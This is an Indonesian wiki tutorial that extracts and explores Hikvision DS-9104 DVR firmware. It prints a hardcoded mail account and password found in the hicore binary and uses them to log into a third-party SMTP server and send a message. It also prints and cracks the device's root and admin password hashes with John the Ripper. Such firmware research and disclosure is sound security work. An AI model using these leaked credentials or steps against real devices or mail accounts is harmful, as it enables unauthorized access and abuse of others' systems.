Reverse Engineering Firmware Hikvision DS-9104

From Indonesian Research And Development Center
Jump to: navigation, search

Disclaimer

Tutorial ini hanya untuk tujuan pembelajaran semata. Penulis tidak bertanggungjawab atas penggunaan maupun penyalahgunaan informasi yang terdapat pada tutorial ini. Use at your own risk.


Pendahuluan

Tutorial ini hanya berisi pembahasan singkat mengenai firmware Hikvision DS-9104 Standalone DVR (Digital Video Recorder).


Langkah-langkah

  • Unduh arsip firmware Hikvision
% wget -q -O digicap.mav \
'http://www.hikvisioneurope.com/portal/index.php?dir=Product%20Firmware/Recorder/DS-9104%269108HFHI-ST/V2.1.1_build120922/&file=digicap.mav'
  • Karena berkas tersebut menggunakan ekstensi yang tidak lazim, maka Anda perlu memeriksa tipe berkasnya terlebih dahulu dengan perintah seperti ini:
% file digicap.mav
digicap.mav: data
  • Karena berkas tersebut tidak dikenali jenisnya, maka selanjutnya gunakan binwalk untuk mencari informasi mengenai berkas tersebut dan kemudian mengekstrak isinya:
% binwalk -r -e digicap.mav

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
592           0x250           uImage header, header size: 64 bytes, header CRC: 0x93C1EB2B, created: 2012-06-15 07:36:56, \
                              image size: 2365532 bytes, Data Address: 0x80008000, Entry Point: 0x80008000, data CRC: 0xC59CBC72, \
                              OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: "Linux-2.6.34"
656           0x290           Linux kernel ARM boot executable zImage (little-endian)
16848         0x41D0          gzip compressed data, maximum compression, from Unix, last modified: 2012-06-15 07:36:55
2366188       0x241AEC        gzip compressed data, maximum compression, has original file name: "initrd", from Unix, \
                              last modified: 2012-06-05 09:42:55
3336378       0x32E8BA        gzip compressed data, from Unix, last modified: 2012-09-22 06:24:04
3931479       0x3BFD57        Cisco IOS microcode, for ""
11509500      0xAF9EFC        gzip compressed data, from Unix, last modified: 2012-09-19 09:18:31
13524300      0xCE5D4C        PC bitmap, Windows 3.x format,, 48 x 48 x 24
13531266      0xCE7882        PC bitmap, Windows 3.x format,, 48 x 48 x 24
13538232      0xCE93B8        PC bitmap, Windows 3.x format,, 1024 x 768 x 24
16056737      0xF501A1        MySQL ISAM compressed data file Version 6
16133629      0xF62DFD        LZMA compressed data, properties: 0x90, dictionary size: 131072 bytes, uncompressed size: 1024 bytes
16505751      0xFBDB97        Boot section Start 0x24FFF4FF End 0x-1
17003776      0x1037500       LZMA compressed data, properties: 0x88, dictionary size: 16777216 bytes, uncompressed size: 256 bytes
17662860      0x10D838C       Certificate in DER format (x509 v3), header length: 4, sequence length: 1280
17778611      0x10F47B3       CRC32 polynomial table, little endian
17821055      0x10FED7F       Certificate in DER format (x509 v3), header length: 4, sequence length: 13188
  • Berkas yang berhasil diekstrak menggunakan binwalk akan disimpan pada sub direktori _digicap.mav.extracted. Selanjutnya, pindah ke sub direktori tersebut, lalu periksa tipe setiap berkas di sana:
% cd _digicap.mav.extracted && file *
1037500: data
32E8BA:  POSIX tar archive (GNU)
41D0:    data
AF9EFC:  POSIX tar archive (GNU)
F62DFD:  data
initrd:  Minix filesystem, V1, 30 char names, 32 zones
  • Dari langkah di atas, terlihat adanya 2 buah arsip dengan kompresi tarball dan sebuah arsip yang menggunakan filesystem minix. Arsip yang dikompres menggunakan metode tarball dapat dengan mudah diekstrak menggunakan cara seperti ini:
% tar xvf 32E8BA && tar xvf AF9EFC
  • Hasil ekstraksi disimpan pada 3 buah sub direktori, yaitu app, hik dan webs. Berikut ini adalah informasi mengenai setiap sub direktori tersebut:
* app - sub direktori ini berisi resources berupa gambar dan terjemahan untuk tampilan ketika perangkat tersebut diakses oleh pengguna.
* hik - sub direktori ini berisi beberapa aplikasi, termasuk sebuah aplikasi yang dikompres menggunakan PEBundle dan berfungsi sebagai pemutar video untuk sistem operasi Microsoft Windows.
* webs - sub direktori ini berisi script yang mengatur tampilan halaman pengaturan dan menjalankan fungsi sesuai pengaturan yang diberikan oleh pengguna.
  • Tutorial ini hanya akan membahas berkas yang berada pada sub direktori hik. Pindah ke sub direktori tersebut dan periksa tipe berkas yang ada di sana:
% cd hik && file *
ASC16:         data
bonding.ko:    ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), BuildID[sha1]=8ff9894857731c61ca98483afc5549d07fecf7ce, not stripped
C674.bin:      data
cmemdrv.ko:    ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), BuildID[sha1]=f6a9c56a928a9abb5a7ef7117ed312d0bca37e65, not stripped
dvrCmd.tar.gz: gzip compressed data, last modified: Sat Sep 22 13:24:04 2012, from Unix
hicore:        ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
HZK16:         data
iscsi:         directory
nolink:        Non-ISO extended-ASCII text, with very long lines, with no line terminators
noresource:    Non-ISO extended-ASCII text, with very long lines, with no line terminators
nosignal:      Non-ISO extended-ASCII text, with very long lines, with no line terminators
player.bin:    PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
pppoed:        ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
ptzCfg.bin:    data
vid_m3.bin:    data
vps_m3.bin:    data
  • Salah satu aplikasi yang menarik pada sub direktori tersebut adalah hicore. Aplikasi tersebut memiliki banyak fungsi yang berkaitan dengan DVR tersebut, termasuk mengirimkan surat elektronik (email) ke salah satu akun di situs tom.com. Informasi tersebut bisa dilihat pada bagian ini:
% strings hicore
...
hik_mailtest_1
hik12345
hik_mailtest_1@tom.com
smtp.tom.com
sendEmailCtrl
sendEmailInit
%s: no receiver
%s: construct mail error!
%s: add mem file error
TEST MESSAGE FROM DVR: %s
This e-mail is used to test whether your SMTP settings work.
%s: no image pool available.[idx=%d]
A%02d-%d.jpg
D%02d-%d.jpg
%s: %s
On Channel
This is an automatically generated e-mail from your DVR.
...
  • Bisa terlihat jelas dari 4 baris pertama pada langkah di atas, terdapat alamat surat elektronik (hik_mailtest_1@tom.com) beserta kata kuncinya (hik12345). Informasi tersebut dapat digunakan untuk mengakses mailserver yang juga tertera pada langkah di atas. Berikut ini adalah proses mengakses mailserver tersebut:
% telnet smtp.tom.com 25
Trying 224.0.0.1...
Connected to smtp.tom.com.
Escape character is '^]'.
EHLO yahoo.com
220 csds.local ESMTP
250-csds.local
250-8BITMIME
250-AUTH PLAIN LOGIN
250-XCLIENT NAME HELO
250-XFORWARD NAME ADDR PROTO HELO
250-ENHANCEDSTATUSCODES
250
AUTH LOGIN PLAIN aGlrX21haWx0ZXN0XzEAaGlrMTIzNDU=
250 2.0.0 Ok
MAIL FROM: hik_mailtest_1@tom.com
250 2.1.0 Ok
RCPT TO: mail@domain.tld
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
[just_some_random_string]
.

[a_few_moments_later]

QUIT
221 Bye
Connection closed by foreign host.
  • Bagian aGlrX21haWx0ZXN0XzEAaGlrMTIzNDU= pada langkah di atas merupakan nama pengguna dan kata kunci yang digabung dan diantaranya terdapat null terminator (\x00), lalu di-encode menggunakan Base64. Caranya adalah sebagai berikut:
% echo -ne 'hik_mailtest_1\x00hik12345' | base64
aGlrX21haWx0ZXN0XzEAaGlrMTIzNDU=
  • Selain informasi di atas, masih ada beberapa informasi lainnya, namun tidak akan dibahas pada tutorial ini dan tugas Anda adalah melakukan eksplorasi lebih jauh terhadap berkas yang berada pada sub direktori hik tersebut.
  • Selanjutnya, berkas yang akan dianalisa adalah initrd dari proses ekstraksi menggunakan binwalk. Karena berkas tersebut merupakan filesystem Minix, maka Anda dapat langsung melakukan mounting menggunakan perintah seperti ini (ganti direktori /mnt/tmp sesuai dengan direktori yang ingin Anda gunakan):
% sudo mount -t minix initrd /mnt/tmp
  • Berikut ini adalah struktur direktori setelah proses di atas (tanpa symbolic link):
.
├── bin
│   ├── busybox
│   └── ftpd
├── dav0
├── dav1
├── dav2
├── dev
│   ├── console
│   ├── null
│   └── ttyS0
├── etc
│   ├── group
│   ├── inetd.conf
│   ├── inittab
│   ├── passwd
│   ├── passwd_nfs
│   ├── profile
│   ├── profile.bak
│   ├── protocols
│   ├── resolv.conf
│   ├── services
│   ├── S_udev
│   ├── TZ
│   ├── udev
│   │   ├── rules.d
│   │   │   └── 01-udev.rules
│   │   └── udev.conf
│   └── udev.conf
├── home
├── lib
│   ├── ld-uClibc.so.0
│   ├── libcrypt.so.0
│   ├── libc.so.0
│   ├── libdl.so.0
│   ├── libgcc_s.so.1
│   ├── libm.so.0
│   ├── libpthread.so.0
│   ├── librt.so.0
│   └── libstdc++.so.6
├── mnt
├── opt
├── proc
├── root
├── sbin
│   ├── iostat
│   ├── lspci
│   ├── memdev
│   ├── mpstat
│   ├── pidstat
│   ├── ti816x_host.ko
│   ├── ti816x_slave.ko
│   ├── udev
│   ├── udevd
│   ├── udevinfo
│   └── udevstart
├── srv
├── sys
├── tmp
└── var
    ├── lock
    │   └── iscsi
    │       └── lock
    └── run
        └── iscsi
            ├── dropbear.pid
            └── iscsid.pid

23 directories, 43 files
  • Pada sub direktori etc terdapat 2 buah berkas yang kemungkinan berisi informasi mengenai password untuk DVR tersebut. Kedua berkas tersebut adalah passwd dan passwd_nfs. Berikut ini adalah isi dari kedua berkas tersebut:
##### isi berkas passwd
% cat etc/passwd
root::0:0:root:/root/:/bin/sh

##### isi berkas passwd_nfs
% cat etc/passwd_nfs
root:yiNNyNaXWRwx.:0:0:root:/root/:/bin/sh
admin:yiVXjXdLpGfug:0:0:admin:/:/bin/sh
  • Bisa terlihat bahwa berkas passwd tidak berisi kata kunci sama sekali, sedangkan berkas passwd_nfs berisi 2 akun yang kata kuncinya dienkripsi menggunakan crypt(3). Anda dapat menggunakan aplikasi John The Ripper (JTR) untuk melakukan cracking terhadap berkas tersebut. Caranya adalah sebagai berikut:
% john etc/passwd_nfs
Loaded 2 password hashes with no different salts (descrypt, traditional crypt(3) [DES 128/128 SSE2-16])
Press 'q' or Ctrl-C to abort, almost any other key for status
12345            (admin)
Warning: MaxLen = 13 is too large for the current hash type, reduced to 8
duhao            (root)
2g 0:00:00:11 3/3 0.1793g/s 1833Kp/s 1833Kc/s 1833KC/s dufge..dupy4
Use the "--show" option to display all of the cracked passwords reliably
Session completed
  • Jika Anda ingin melihat akun yang berhasil di-crack, gunakan opsi --show pada perintah John The Ripper seperti ini:
% john --show etc/passwd_nfs
root:duhao:0:0:root:/root/:/bin/sh
admin:12345:0:0:admin:/:/bin/sh

2 password hashes cracked, 0 left
  • Selanjutnya, adalah tugas Anda untuk melakukan eksplorasi terhadap firmware DVR tersebut dengan mengembangkan informasi pada tutorial ini.


Penutup

Sekian tutorial kali ini, semoga bermanfaat. Terima kasih kepada Tuhan Yang Maha Esa, Maxindo, N3 dan Anda yang telah membaca tutorial ini.


Referensi